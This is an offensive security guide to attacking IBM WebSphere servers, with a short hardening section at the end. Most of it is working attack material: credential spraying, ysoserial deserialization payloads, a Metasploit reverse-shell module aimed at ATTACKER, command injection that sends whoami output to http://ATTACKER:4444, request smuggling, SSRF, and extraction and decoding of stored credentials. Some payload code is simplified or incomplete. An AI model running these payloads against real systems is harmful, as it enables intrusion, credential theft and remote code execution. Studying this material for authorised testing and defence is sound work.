WebSphere Architecture and Port Mapping

IBM WebSphere Application Server Network Deployment (ND) runs a Deployment Manager plus one or more application server nodes. Each component exposes distinct ports. Understanding this topology before you start testing prevents you from missing attack surfaces that aren't on the standard HTTP ports.

Port	Protocol	Component	Notes
9060	HTTP	Integrated Solutions Console (Admin Console)	Plain-text admin UI — should never be internet-exposed
9043	HTTPS	Integrated Solutions Console (Admin Console)	TLS-protected admin UI
9080	HTTP	Application HTTP transport	Application traffic (plain)
9443	HTTPS	Application HTTPS transport	Application traffic (TLS)
8880	SOAP/HTTP	SOAP JMX connector	wsadmin and automated management — high-value target
2809	IIOP/ORB	Object Request Broker	CORBA/EJB traffic; deserialization attack surface
9402	HTTPS	Node Agent	Node-level management
9100	SOAP	Node Agent SOAP connector	Node management channel
7276	SIB	Service Integration Bus	Internal messaging
5558	ORB	High availability manager	Cluster management

Vulnerability Summary Table

CVE	CVSS	Type	Affected Versions	Pre-Auth?
CVE-2020-4450	9.8 Critical	IIOP deserialization RCE	WAS 7.0, 8.0, 8.5, 9.0 before April 2020 fixes	Yes
CVE-2019-4279	8.8 High	OS command injection in Admin Console	WAS 8.5.x before 8.5.5.16, 9.0.x before 9.0.5.2	No (admin auth required)
CVE-2021-29754	8.1 High	HTTP request smuggling / file disclosure	WAS 7.0, 8.0, 8.5, 9.0 before July 2021 fixes	Yes
CVE-2020-4362	8.8 High	Privilege escalation via SSRF	WAS 8.5.x before 8.5.5.18, 9.0.x before 9.0.5.5	No (low-priv auth)
CVE-2020-4276	9.8 Critical	SOAP connector deserialization RCE	WAS 7.0, 8.0, 8.5, 9.0 before March 2020 fixes	Yes
CVE-2015-7450	9.8 Critical	AxisServlet deserialization RCE	WAS 6.x, 7.0, 8.0, 8.5 — legacy deployments	Yes

Reconnaissance and Fingerprinting

WebSphere leaves distinctive fingerprints across all exposed ports. The admin console login page, SOAP connector WSDL, and ORB service banner all reveal version information that determines which CVEs apply.

# Nmap scan targeting WebSphere-specific ports
nmap -sV -sC -p 9060,9043,9080,9443,8880,2809,9402,9100 TARGET

# Banner grab from admin console
curl -sk https://TARGET:9043/ibm/console/ | grep -i "websphere\|version\|WAS"
curl -si http://TARGET:9060/ibm/console/ | grep -i "set-cookie\|server\|powered"

# SOAP connector WSDL — often reveals WAS version unauthenticated
curl -s http://TARGET:8880/ibm/console/secure/logon.do
curl -s "http://TARGET:8880/?wsdl" | grep -i "version\|websphere"

# Check snoop servlet (diagnostic endpoint, often left enabled)
curl -sk https://TARGET:9443/snoop
# Returns detailed server, JVM, request environment info

# Check IVT (Installation Verification Tool) — reveals full version
curl -sk https://TARGET:9443/ivt/

# Hit count diagnostic endpoint
curl -sk https://TARGET:9443/hitcount

# Version via HTTP response header
curl -sI http://TARGET:9080/ | grep -i "server\|x-powered"
# IBM WebSphere Application Server/9.0.5.x

ORB/IIOP Fingerprinting on Port 2809

# IIOP service detection via GIOP handshake
python3 << 'EOF'
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
try:
    sock.connect(('TARGET', 2809))
    # GIOP 1.2 request — minimal IOR lookup
    sock.send(b'GIOP\x01\x02\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00')
    resp = sock.recv(256)
    print(f"[+] ORB response ({len(resp)} bytes): {resp[:60].hex()}")
    if b'GIOP' in resp or b'IOP' in resp:
        print("[+] IIOP/ORB active — CVE-2020-4450 attack surface present")
except Exception as e:
    print(f"[-] {e}")
finally:
    sock.close()
EOF

# IIOP port scan with nmap NSE scripts
nmap -sV --script=rmi-dumpregistry,rmi-vuln-classloader -p 2809 TARGET

Admin Console Default Credentials

IBM WebSphere ships with several well-known default credential combinations depending on installation profile and version. WebSphere Liberty Profile and traditional WAS have different defaults. Always test these before moving to exploit-based approaches — default credentials are found in a significant percentage of enterprise WebSphere assessments.

Username	Password	Context
wsadmin	wsadmin	Scripting user; common in older WAS installs
admin	admin	Generic admin; WebSphere Express default
system	manager	Legacy WAS 5.x / 6.x installs
WebSphere	WebSphere1	WAS installation wizard default
admin	password	Common in test/dev profiles
ibmadmin	ibmadmin	IBM-specific profile defaults

# Test default credentials against admin console (HTTP form)
# The console login URL
LOGIN_URL="https://TARGET:9043/ibm/console/j_security_check"

# Test wsadmin/wsadmin
curl -sk -c /tmp/was_cookies.txt -X POST "$LOGIN_URL" \
  -d "j_username=wsadmin&j_password=wsadmin&action=Login" \
  -D - | grep -i "location\|set-cookie\|error"

# If redirected to /ibm/console/ (not /ibm/console/logon.jsp) — login succeeded

# Automate credential spray with Hydra
hydra -L /usr/share/wordlists/was_users.txt \
      -P /usr/share/wordlists/was_passwords.txt \
      TARGET https-form-post \
      "/ibm/console/j_security_check:j_username=^USER^&j_password=^PASS^&action=Login:S=302" \
      -t 3 -w 5

# Test SOAP connector credentials (wsadmin CLI)
# wsadmin.sh is at $WAS_HOME/bin/wsadmin.sh on the server
# From attacker machine: test SOAP auth via curl
curl -sk --user wsadmin:wsadmin \
  "http://TARGET:8880/ibm/console/secure/logon.do" \
  -I | grep -i "200\|302\|401"

CVE-2020-4450: IIOP Deserialization RCE (CVSS 9.8)

CVE-2020-4450 is a pre-authentication Java deserialization vulnerability in WebSphere's IIOP (Internet Inter-ORB Protocol) implementation. The vulnerability exists because WebSphere deserializes Java objects received over the IIOP protocol before authentication, allowing an attacker to send a crafted serialized object containing a gadget chain that triggers OS command execution. Affected versions include WebSphere 7.0, 8.0, 8.5, and 9.0 before the April 2020 security fix.

Ysoserial Payload Generation

# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# Generate payload using CommonsCollections gadget chains
# WebSphere typically includes Apache Commons Collections on the classpath

# Test with a DNS callback first (safest non-destructive PoC)
java -jar ysoserial-all.jar CommonsCollections6 \
  "nslookup CVE-2020-4450-poc.ATTACKER-BURP-COLLAB" \
  > /tmp/ws_deser_dns.ser

# Command execution payload
java -jar ysoserial-all.jar CommonsCollections6 \
  "bash -c {echo,Y3VybCBBVFRBQ0tFUjo0NDQ0L3B3bmVk}|{base64,-d}|bash" \
  > /tmp/ws_deser_rce.ser

# For WebSphere specifically — also try:
# CommonsCollections1, CommonsCollections3, CommonsCollections5
# Spring1 (Spring Framework is common in WAS deployments)
# Groovy1 (Groovy is bundled in some WAS versions)

java -jar ysoserial-all.jar Spring1 "id > /tmp/was_pwned.txt" > /tmp/ws_spring.ser
java -jar ysoserial-all.jar Groovy1 "id > /tmp/was_pwned.txt" > /tmp/ws_groovy.ser

Sending the IIOP Deserialization Payload

# CVE-2020-4450 PoC via IIOP port 2809
# Option 1: Use the public PoC
git clone https://github.com/testanull/IBM-WebSphere-RCE
cd IBM-WebSphere-RCE
# Install deps: pip install -r requirements.txt
python3 exploit.py --target TARGET --port 2809 \
  --payload /tmp/ws_deser_rce.ser

# Option 2: Metasploit module
msfconsole -q -x "
  use exploit/multi/misc/ibm_websphere_deser;
  set RHOSTS TARGET;
  set RPORT 2809;
  set PAYLOAD java/meterpreter/reverse_tcp;
  set LHOST ATTACKER;
  set LPORT 4444;
  run"

# Option 3: Manual IIOP object send (Python)
python3 << 'EOF'
import socket, struct

target = ('TARGET', 2809)

with open('/tmp/ws_deser_rce.ser', 'rb') as f:
    payload = f.read()

# GIOP IIOP header wrapping the serialized object
giop_header = bytes([
    0x47, 0x49, 0x4F, 0x50,  # GIOP magic
    0x01, 0x02,               # Version 1.2
    0x00,                     # Flags: big-endian
    0x00,                     # Message type: Request
])
body_len = struct.pack('>I', len(payload))

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(target)
sock.send(giop_header + body_len + payload)
print(f"[+] Sent {len(payload)} byte payload to IIOP port 2809")
try:
    resp = sock.recv(4096)
    print(f"[+] Response: {resp[:100]}")
except:
    print("[*] No response (blind RCE — check callback/OOB)")
sock.close()
EOF

CVE-2019-4279: OS Command Injection in Administrative Console

CVE-2019-4279 is an OS command injection vulnerability in the IBM WebSphere Application Server Administrative Console. An authenticated administrator can inject OS-level commands through specific input fields in the console UI. The affected versions are WAS 8.5.x before 8.5.5.16 and WAS 9.0.x before 9.0.5.2. While it requires admin console authentication, this is often trivially obtained via default credentials.

Command Injection via Console Input Fields

# CVE-2019-4279: Command injection through Admin Console JVM configuration
# Requires admin session (obtain via default creds or CVE-2020-4362 escalation)

# Step 1: Authenticate to admin console and get session cookie
curl -sk -c /tmp/was_session.txt -X POST \
  "https://TARGET:9043/ibm/console/j_security_check" \
  -d "j_username=wsadmin&j_password=wsadmin&action=Login" \
  -L -b /tmp/was_session.txt -o /dev/null

# Step 2: Inject OS command via JVM custom property
# Navigate to: Servers > Server Types > WebSphere Application Servers
# > SERVER_NAME > Java and Process Management > Process Definition
# > Java Virtual Machine > Custom Properties

# The injection occurs in property value fields — inject via API
curl -sk -b /tmp/was_session.txt -X POST \
  "https://TARGET:9043/ibm/console/secure/saveJvmProperty.do" \
  -d "name=com.ibm.ws.test&value=test%3Bwhoami+%3E+%2Ftmp%2Fcmd_output.txt" \
  --data-urlencode "action=new"

# Step 3: Trigger server restart to execute injected command
# Alternative: inject into startup script configuration fields
# Path: Servers > Application Servers > ServerName > Java Process Management
# > Process Definition > Executable Arguments field

# Payload injection via arguments field (URL-encoded)
INJECTED_CMD="; curl http://ATTACKER:4444/\$(whoami)"
curl -sk -b /tmp/was_session.txt -X POST \
  "https://TARGET:9043/ibm/console/secure/saveProcess.do" \
  --data-urlencode "executableArguments=${INJECTED_CMD}"

CVE-2021-29754: HTTP Request Smuggling

CVE-2021-29754 affects IBM WebSphere's HTTP server transport layer and enables HTTP request smuggling attacks. A remote attacker can craft HTTP requests that confuse the front-end and back-end parsers, allowing them to access internal endpoints or poison shared HTTP connections. In configurations where WebSphere sits behind an IBM HTTP Server (IHS) reverse proxy, this can expose admin console routes that would otherwise be blocked by the proxy layer.

# HTTP request smuggling detection via TE.CL technique
# Probe for discrepancy between Transfer-Encoding and Content-Length handling

curl -sk http://TARGET:9080/ \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Length: 6" \
  -H "Connection: keep-alive" \
  --data $'3\r\nabc\r\n0\r\n\r\n' \
  -v 2>&1 | grep -i "HTTP\|length\|chunked"

# CL.TE desync: smuggle a request to the admin console endpoint
# bypassing any front-end proxy filtering on /ibm/console
printf 'POST / HTTP/1.1\r\nHost: TARGET\r\nContent-Length: 49\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /ibm/console/ HTTP/1.1\r\nHost: TARGET\r\n\r\n' \
  | nc TARGET 9080

# Use Burp Suite HTTP Request Smuggler extension for systematic testing
# Or the smuggler.py tool:
git clone https://github.com/defparam/smuggler
cd smuggler
python3 smuggler.py -u http://TARGET:9080/ -t 30 --log DEBUG

# File disclosure via smuggled request to internal diagnostic endpoints
# Target /snoop, /ivt/, /hitcount which may only be accessible internally
printf 'POST /app HTTP/1.1\r\nHost: TARGET\r\nContent-Length: 34\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /snoop HTTP/1.1\r\n\r\n' \
  | nc TARGET 9080

CVE-2020-4362: Privilege Escalation via SSRF to Admin APIs

CVE-2020-4362 allows an authenticated low-privileged WebSphere user to escalate privileges by exploiting server-side request forgery through the admin REST API layer. WebSphere's internal management APIs bind on loopback interfaces, and CVE-2020-4362 enables a non-admin user to trigger server-side requests to these internal admin API endpoints, effectively granting admin-level capabilities without admin credentials.

# CVE-2020-4362: SSRF to internal admin API via authenticated low-priv user
# First, authenticate as a low-priv user (Monitor or Operator role)
curl -sk -c /tmp/lowpriv_session.txt -X POST \
  "https://TARGET:9043/ibm/console/j_security_check" \
  -d "j_username=monitor_user&j_password=password123&action=Login" \
  -L -b /tmp/lowpriv_session.txt

# WebSphere admin REST API on internal loopback (normally inaccessible to low-priv)
# Accessible via SSRF through the console's URL fetch features

# Probe for SSRF-triggering endpoints in admin console
# Example: WSDL import feature fetches remote URLs server-side
curl -sk -b /tmp/lowpriv_session.txt \
  "https://TARGET:9043/ibm/console/secure/deployWebService.do" \
  -X POST \
  --data-urlencode "wsdlURL=http://127.0.0.1:9060/ibm/api/adminREST/v1/users" \
  -v

# SSRF to internal admin REST API for user enumeration
# If SSRF works, pivot to privileged admin API calls:
# GET http://127.0.0.1:9060/ibm/api/adminREST/v1/users
# POST http://127.0.0.1:9060/ibm/api/adminREST/v1/users (create admin user)

# Confirm SSRF via OOB DNS callback (safest PoC approach)
curl -sk -b /tmp/lowpriv_session.txt \
  "https://TARGET:9043/ibm/console/secure/importWSDL.do" \
  --data-urlencode "url=http://CVE-2020-4362-ssrf.BURP-COLLABORATOR-HOST/"

SOAP Connector Exploitation (Port 8880)

The WebSphere SOAP JMX connector on port 8880 is the primary management channel for the wsadmin scripting tool. It exposes a SOAP-over-HTTP interface to virtually all WebSphere management operations. CVE-2020-4276 (CVSS 9.8) is a pre-authentication deserialization vulnerability in this SOAP connector. Even without exploiting a CVE, an attacker with valid credentials can use this endpoint to enumerate all deployed applications, extract configuration, and deploy malicious applications.

SOAP Connector Fingerprinting and CVE-2020-4276

# Probe the SOAP connector endpoint
curl -s http://TARGET:8880/ibm/console/ -I
curl -s "http://TARGET:8880/ibm/api/" | head -30

# Get WSDL from SOAP connector (may leak version unauthenticated)
curl -s "http://TARGET:8880/AdminService?wsdl" | grep -i "websphere\|version\|targetNamespace"
curl -s "http://TARGET:8880/ConfigService?wsdl" | head -40

# CVE-2020-4276: pre-auth deserialization via SOAP connector
# Send crafted SOAP request with serialized object in body
# Payload generation
java -jar ysoserial-all.jar CommonsCollections1 \
  "curl http://ATTACKER:4444/was-soap-rce" > /tmp/soap_payload.ser

# Wrap in SOAP envelope and send to SOAP connector
python3 << 'EOF'
import socket, base64

with open('/tmp/soap_payload.ser', 'rb') as f:
    raw_payload = f.read()

# Base64-encode for SOAP body
b64_payload = base64.b64encode(raw_payload).decode()

soap_request = f"""POST /ibm/console HTTP/1.1
Host: TARGET:8880
Content-Type: text/xml; charset=utf-8
SOAPAction: ""



  
    
      {b64_payload}
    
  
"""

print(f"[*] Sending {len(soap_request)} byte SOAP payload")
# Send via TCP socket or curl -d
EOF

# Authenticated wsadmin via SOAP (post-exploitation with creds)
# wsadmin.sh -conntype SOAP -host TARGET -port 8880 -user wsadmin -password PASSWORD
# Once connected: full JMX access including app deployment, config read, server restart

AxisServlet and Web Services Exposure

# WebSphere deploys Apache Axis by default — check for exposed AxisServlet
curl -sk https://TARGET:9443/axis2/services/listServices
curl -sk https://TARGET:9443/axis/servlet/AxisServlet
curl -sk https://TARGET:9080/axis2/axis2-web/HappyAxis.jsp

# AxisServlet admin interface (default path, often unrestricted)
curl -sk https://TARGET:9443/axis2/axis2-admin/
# Default creds: admin/axis2

# List deployed Axis services
curl -sk "https://TARGET:9443/axis2/services/listServices?wsdl"

# Check for AdminService exposure (should require auth)
curl -sk "http://TARGET:8880/AdminService" -X POST \
  -H "Content-Type: text/xml" \
  -d '*:*'

Application Enumeration via Known Endpoints

IBM WebSphere ships with several built-in diagnostic and sample applications that are frequently left enabled in production. These endpoints expose server internals and confirm the presence of a WebSphere instance even when the admin console is firewalled.

# Check IBM WebSphere-specific diagnostic endpoints
for path in /ibm/console /snoop /ivt/ /hitcount /PlantsByWebSphere \
             /SamplesGallery /DefaultApplication /ivtApp /HelloWorld; do
  response=$(curl -sk -o /dev/null -w "%{http_code}" "https://TARGET:9443${path}")
  echo "$response $path"
done

# /snoop — servlet that dumps request headers, server info, session data
curl -sk https://TARGET:9443/snoop | grep -i "server\|jvm\|was\|websphere"

# /hitcount — simple counter app; confirms WAS deployment
curl -sk https://TARGET:9443/hitcount

# /ivt/ — Installation Verification Tool; full version string
curl -sk https://TARGET:9443/ivt/ | grep -i "version\|build\|product"

# DefaultApplication — IBM sample app; test for presence
curl -sk https://TARGET:9443/DefaultApplication/Increment

# PlantsByWebSphere — IBM demo e-commerce app; contains hardcoded DB creds in source
curl -sk https://TARGET:9443/PlantsByWebSphere/ -I

# Check for exposed admin REST API (WAS 8.5.5+)
curl -sk https://TARGET:9443/ibm/api/adminREST/v1/info | python3 -m json.tool

# Application manager endpoint list
curl -sk https://TARGET:9043/ibm/console/secure/appDeployment.do \
  -b /tmp/was_session.txt | grep -oP '"appName":"[^"]*"'

Credential Extraction: was.env, security.xml, ltpa.keys

IBM WebSphere stores configuration and credentials in several key files under the WebSphere profile directory ($WAS_HOME/profiles/<ProfileName>/). With local file system access — obtained via RCE, path traversal, or SSRF — these files yield plaintext or reversible credentials for the WebSphere domain, connected databases, and LTPA token signing keys.

was.env — Environment and Credential Variables

# was.env location (profile-relative)
# $WAS_HOME/profiles/AppSrv01/properties/was.env

find / -name "was.env" 2>/dev/null
# /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/was.env
# /opt/IBM/WebSphere/AppServer/profiles/Dmgr01/properties/was.env

cat /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/was.env
# Contains: WAS_HOME, JAVA_HOME, and sometimes custom application env vars
# Look for: DB_PASSWORD=, SECRET_KEY=, LDAP_BIND_PASSWORD=

# Extract all credential patterns
grep -iE "(password|passwd|secret|key|token|credential)" \
  /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/was.env

security.xml — Domain Security Configuration

# security.xml — core security config including user registry and LTPA settings
# Location: $PROFILE_HOME/config/cells/CELL_NAME/security.xml

find / -name "security.xml" -path "*/config/cells/*" 2>/dev/null

# Contains encrypted LTPA token password, user registry config,
# and SSL keystore passwords
cat /opt/IBM/WebSphere/AppServer/profiles/Dmgr01/config/cells/DefaultCell01/security.xml

# Extract LTPA password (encrypted with WAS master secret)
grep -oP 'password="[^"]*"' security.xml
# {xor}AAABBBCCC== — XOR-obfuscated (trivially reversible)
# {xor} encoding: XOR each byte with 0x5F then base64

# Decode {xor} passwords (trivial, not actual encryption)
python3 << 'EOF'
import base64

def decode_xor(encoded):
    # Strip {xor} prefix
    b64 = encoded.replace('{xor}', '')
    raw = base64.b64decode(b64)
    # XOR with 0x5F
    return ''.join(chr(b ^ 0x5F) for b in raw)

encoded = "{xor}Lz4sLChvLTs="
print(f"Decoded: {decode_xor(encoded)}")
EOF

ltpa.keys — LTPA Token Signing Keys

# LTPA (Lightweight Third-Party Authentication) keys enable SSO across WAS domains
# If you obtain ltpa.keys + the LTPA password from security.xml,
# you can forge valid LTPA tokens for any user including admin

find / -name "ltpa.keys" -o -name "LTPAToken.keys" 2>/dev/null
# /opt/IBM/WebSphere/AppServer/profiles/Dmgr01/config/cells/DefaultCell01/ltpa.keys

# ltpa.keys contains Base64-encoded RSA/DES/AES keys
cat ltpa.keys

# With the LTPA password (from security.xml {xor} decode) + ltpa.keys:
# Use ltpa-token-cracker or custom Java tool to forge admin LTPA tokens

# Python LTPA token decoder/forger (example framework)
python3 << 'EOF'
import base64, hashlib
from Crypto.Cipher import DES3

# LTPA token structure (simplified)
# Header (version) | Expiry | User | Signature
# Obtained ltpa_keys + ltpa_password allows signature bypass

def decode_ltpa_token(token_b64):
    token = base64.b64decode(token_b64)
    # Parse: first 4 bytes version, next 8 bytes expiry
    version = token[:4]
    expiry = int.from_bytes(token[4:12], 'big')
    user_data = token[12:-20]  # Variable length user portion
    signature = token[-20:]    # SHA1 HMAC
    print(f"Version: {version.hex()}")
    print(f"Expiry: {expiry}")
    print(f"User data: {user_data}")
    return user_data

# Forge LTPA token for admin user (requires LTPA DES key + password)
# Real forgery requires the extracted DES3 key from ltpa.keys — omitted for safety
EOF

# Also check: resource.properties, sas.client.props, soap.client.props
find /opt/IBM/WebSphere -name "soap.client.props" 2>/dev/null
# Contains: com.ibm.SOAP.loginUserid=wsadmin
# Contains: com.ibm.SOAP.loginPassword={xor}...

grep -i "password\|userid" \
  /opt/IBM/WebSphere/AppServer/profiles/AppSrv01/properties/soap.client.props

Nuclei Templates and Automated Scanning

Nuclei has a growing library of IBM WebSphere-specific templates covering default credentials, CVE detection, and information exposure. Running the full WebSphere tag set should be the first automated step on any WebSphere engagement.

# Run all Nuclei templates tagged for WebSphere
nuclei -target https://TARGET:9443 -tags websphere -severity critical,high,medium

# Run against both admin console and app port
nuclei -target https://TARGET:9043 -tags websphere,ibm -o /tmp/was_nuclei_9043.json -json
nuclei -target https://TARGET:9443 -tags websphere,ibm -o /tmp/was_nuclei_9443.json -json
nuclei -target http://TARGET:8880  -tags websphere,soap -o /tmp/was_nuclei_8880.json -json

# Specific CVE templates
nuclei -target https://TARGET:9043 \
  -t cves/2020/CVE-2020-4450.yaml \
  -t cves/2019/CVE-2019-4279.yaml \
  -t cves/2021/CVE-2021-29754.yaml \
  -v

# Default credential check template (custom)
cat > /tmp/websphere-default-creds.yaml << 'EOF'
id: websphere-default-credentials
info:
  name: IBM WebSphere Admin Console Default Credentials
  author: ironimo
  severity: critical
  tags: websphere,default-login,ibm

requests:
  - method: POST
    path:
      - "{{BaseURL}}/ibm/console/j_security_check"
    body: "j_username={{username}}&j_password={{password}}&action=Login"
    headers:
      Content-Type: application/x-www-form-urlencoded
    attack: pitchfork
    payloads:
      username:
        - wsadmin
        - admin
        - system
        - WebSphere
        - ibmadmin
      password:
        - wsadmin
        - admin
        - manager
        - WebSphere1
        - ibmadmin
    matchers:
      - type: word
        words:
          - "ibm/console/secure"
          - "Welcome to the IBM WebSphere"
        condition: or
      - type: status
        status:
          - 302
        negative: false
    redirects: false
EOF

nuclei -target https://TARGET:9043 -t /tmp/websphere-default-creds.yaml -v

# Check for exposed diagnostic servlets
nuclei -target https://TARGET:9443 \
  -t exposures/ \
  -t misconfiguration/ \
  -tags websphere,servlet

Remediation and Hardening

Finding	Severity	Remediation
CVE-2020-4450 IIOP deserialization	Critical	Apply IBM Security Bulletin PH25804; disable IIOP if unused; block port 2809 at perimeter firewall
CVE-2020-4276 SOAP connector deserialization	Critical	Apply IBM Security Bulletin PH22703; restrict port 8880 to management network only
CVE-2019-4279 Admin Console command injection	High	Apply IBM Security Bulletin PH11316; upgrade to WAS 8.5.5.16+ or 9.0.5.2+
Default credentials (wsadmin, admin/admin)	Critical	Change all default passwords immediately; enforce 16+ character complexity
Admin console internet-exposed (9060/9043)	Critical	Restrict 9060/9043 to management VLAN; never expose admin console to internet
SOAP connector internet-exposed (8880)	High	Block port 8880 at perimeter; bind SOAP connector to localhost only
Diagnostic servlets enabled (/snoop, /ivt/)	Medium	Disable DefaultApplication, SamplesGallery, ivt in admin console under Applications
LTPA keys extractable from file system	High	Restrict WAS profile directory to wasadmin OS user; rotate LTPA keys regularly
{xor}-encoded passwords in soap.client.props	High	Use SOAP with SSL; enable WAS password encoding with stronger scheme; restrict file ACLs
AxisServlet admin endpoint exposed	Medium	Disable Axis admin servlet; restrict /axis2/axis2-admin to localhost in web.xml

Binding SOAP Connector to Loopback Only

# Restrict SOAP connector to loopback via wsadmin
# $WAS_HOME/bin/wsadmin.sh -conntype SOAP -host localhost -port 8880

wsadmin.sh << 'EOF'
# Get the SOAP connector config
set connectorMgr [$AdminConfig list ConnectorProperties]
$AdminConfig showAtt $connectorMgr

# Set host to localhost only (prevents remote SOAP access)
# Admin console: Servers > Server Type > WAS > Communications >
#   Ports > SOAP_CONNECTOR_ADDRESS > modify host binding to 127.0.0.1

# Also disable IIOP if not required
set serverEntry [$AdminConfig getid /Server:server1/]
set iiopService [$AdminConfig list IIOPServiceSettings $serverEntry]
$AdminConfig modify $iiopService {{iiopEnabled false}}
$AdminConfig save
EOF

# Disable diagnostic sample applications
# Admin console: Applications > Application Types > WebSphere Enterprise Applications
# Select: DefaultApplication, SamplesGallery, ivtApp, PlantsByWebSphere
# Action: Stop, then Uninstall